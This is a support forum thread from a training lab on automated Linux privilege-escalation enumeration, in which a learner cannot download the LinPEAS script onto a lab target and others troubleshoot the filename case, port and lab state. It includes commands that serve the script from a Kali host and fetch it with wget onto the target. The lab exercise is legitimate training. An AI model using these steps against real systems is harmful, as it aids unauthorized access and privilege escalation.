Bronze IICan´t download linpeas with wget
Privilege Escalation: Linux – Automated Enumeration
Hi.
I can´t download the linpeas with wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh
due to "connection refused" or "connected but ERROR 404: File not found"
Regards.
Thanks for sharing your steps, that made troubleshooting a lot easier! I've just taken a look at the lab, and it looks like you might be getting the 404 error because downloading files with wget is case-sensitive, and the LinPEAS script is actually called linPEAS.sh, not linpeas.sh.
I've updated the lab's briefing panel, so the example command now reflects this correctly:
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linPEAS.shJust make sure you update the placeholder with the Kali Desktop's actual IP address, and you should be good to go!
I hope this helps, but please reach out if you're still struggling, and I'll see if there's anything else I can help with 😁

did you checked if linpeas is existing? have you started an http listener? ...
what are your steps, you've done before. normally, linpeas/winpeas are not installed on the IL kali instances...
posewadoneHi Steven.
Thanks a lot.
The steps below:
cd /home/kali/Desktop/Tools/Linux
python3 -m http.server
##Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
accesible through firefox localhost:8000 (I can see the folders LinPEAS/ (where the linpeas.sh is), LinuxPrivChecker/, LinuxSmartEnumeration/, pspy/)
in a another terminal different from the one above:
ssh into the target
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh (the linpeas.sh is here ~/Desktop/Tools/Linux/LinPEAS)
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linpeas.sh
this is the message received: Connecting to 10.102.108.246:8000... failed: Connection refused.
another try but the webserver directly from /home/kali/Desktop/Tools/Linux/LinPEAS
and this is the message received:
Connecting to 10.102.133.11:8000... connected.
HTTP request sent, awaiting response... 404 File not found

hmm. just checked the lab:
on kali:
┌──(kali㉿kali-privesc)-[~] └─$ cd Desktop/Tools/Linux/LinPEAS/ ... ┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS] └─$ python -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... ...the target:
ssh -l alex 10.102.154.98 ... (successful login) ... wget http://10.102.100.242:8080/linPEAS.shthen you'll see on kali:
┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS] └─$ python -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 10.102.154.98 - - [27/Nov/2024 10:56:57] "GET /linPEAS.sh HTTP/1.1" 200 - ^Cand on target transfer was successfull.
i've also checked port 8000 which you were using:
┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS] └─$ python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.102.154.98 - - [27/Nov/2024 11:00:07] "GET /linPEAS.sh HTTP/1.1" 200 - ^Cso, maybe the lab has a problem. just end it and restart again
